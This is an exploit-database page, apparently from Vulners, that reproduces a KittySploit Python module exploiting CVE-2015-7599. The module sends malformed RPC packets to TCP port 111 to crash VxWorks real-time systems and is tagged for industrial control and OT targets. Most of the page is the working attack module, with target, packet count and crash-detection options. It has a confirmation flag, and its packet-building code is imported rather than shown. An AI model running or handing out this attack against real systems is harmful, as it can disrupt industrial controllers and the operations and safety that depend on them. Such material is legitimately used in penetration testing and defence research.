Lucene search
+L

VxWorks RPC integer overflow DoS

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Integer overflow in VxWorks svc_auth.c _authenticate() via TCP 111 RPC headers causes DoS.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Integer Overflow or Wraparound in Windriver Vxworks
20 Mar 202013:57
–githubexploit
cnvd
CNVD
Wind River VxWorks Integer Overflow Vulnerability (CNVD-2015-08443)
20 Dec 201500:00
–cnvd
cve
CVE
CVE-2015-7599
7 Feb 201717:00
–cve
cvelist
Cvelist
CVE-2015-7599
7 Feb 201717:00
–cvelist
euvd
EUVD
EUVD-2015-7503
7 Oct 202500:30
–euvd
kitploit
Kitploit
isf
16 Oct 202604:14
–kitploit
kitploit
Kitploit
isf
9 Oct 202604:14
–kitploit
nvd
NVD
CVE-2015-7599
7 Feb 201717:59
–nvd
pentestit
pentestit
ICSSPLOIT: A Industrial Control System Exploitation Framework
3 Sep 201700:56
–pentestit
prion
Prion
Integer overflow
7 Feb 201717:59
–prion
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
VxWorks RPC integer overflow denial of service (CVE-2015-7599).

Triggers an integer overflow in VxWorks svc_auth.c _authenticate() by sending malformed
RPC call headers over TCP port 111.
"""

from __future__ import annotations

from kittysploit import *
from lib.protocols.ics.ics_scanner_client import Ics_scanner_client
from lib.protocols.vxworks.rpc_dos_client import (
    RPC_DEFAULT_PORT,
    is_rpc_port_open,
    probe_rpc_dos,
)


class Module(Auxiliary, Ics_scanner_client):
    __info__ = {
        "name": "VxWorks RPC integer overflow DoS",
        "description": (
            "Exploits CVE-2015-7599, an integer overflow in VxWorks RPC authentication "
            "(svc_auth.c), to crash or disrupt VxWorks 5.5 through 6.9.4.1 systems with "
            "RPC enabled on TCP/111."
        ),
        "author": ["Yannick Formaggio", "wenzhe zhu", "KittySploit Team"],
        "cve": ["CVE-2015-7599"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2015-7599"],
        "platform": Platform.OTHER,
        "tags": ["ics", "vxworks", "rpc", "dos", "rtos", "ot", "cve-2015-7599"],
        "agent": {
            "risk": "intrusive",
            "effects": ["denial_of_service"],
            "expected_requests": 20,
            "reversible": False,
            "approval_required": True,
            "produces": ["risk_signals"],
        },
    }

    port = OptPort(RPC_DEFAULT_PORT, "RPC portmapper TCP port", True)
    count = OptInteger(20, "Number of malformed RPC packets to send", False)
    timeout = OptFloat(2.0, "Per-connection timeout in seconds", False)
    wait = OptFloat(3.0, "Seconds to wait before checking if target crashed", False)
    confirm = OptBool(False, "Confirm intentional denial-of-service attempt", True)

    def check(self):
        host = self._host()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}
        if not bool(self.confirm):
            return {
                "vulnerable": False,
                "reason": "set confirm=true to acknowledge DoS attempt",
                "confidence": "high",
            }
        if not is_rpc_port_open(host, self._port(), min(float(self.timeout or 2.0), 1.0)):
            return {
                "vulnerable": False,
                "reason": f"TCP {self._port()} closed",
                "confidence": "high",
            }
        return {
            "vulnerable": True,
            "reason": "RPC port open — VxWorks RPC overflow may be reachable",
            "confidence": "low",
        }

    def run(self):
        host = self._host()
        if not host:
            print_error("Target is required")
            return False
        if not bool(self.confirm):
            print_error("Refusing to send DoS payloads without confirm=true")
            return False

        port = self._port()
        count = int(self.count or 20)
        timeout = float(self.timeout or 2.0)
        wait = float(self.wait or 3.0)

        print_warning("RPC DoS is destructive — authorized lab use only")
        if not is_rpc_port_open(host, port, min(timeout, 1.0)):
            print_error(f"Target RPC port {host}:{port} is not reachable")
            return False

        print_success("RPC port is open")
        print_status(f"Sending {count} malformed RPC packet(s) to {host}:{port}...")

        result = probe_rpc_dos(host, port, count, timeout, wait)
        packets_sent = int(result.get("packets_sent") or 0)
        if packets_sent == 0:
            print_error("Failed to deliver malformed RPC packets")
            return False

        print_status(f"Delivered {packets_sent} packet(s); waited {wait:.1f}s for target response")
        if result.get("likely_crash"):
            print_success("Target RPC service appears down — likely vulnerable to CVE-2015-7599")
            return True

        print_error("Target RPC port still reachable — not confirmed vulnerable")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
7.7High risk
Vulners AI Score7.7
CVSS 38.1
CVSS 29.3
EPSS0.0591
4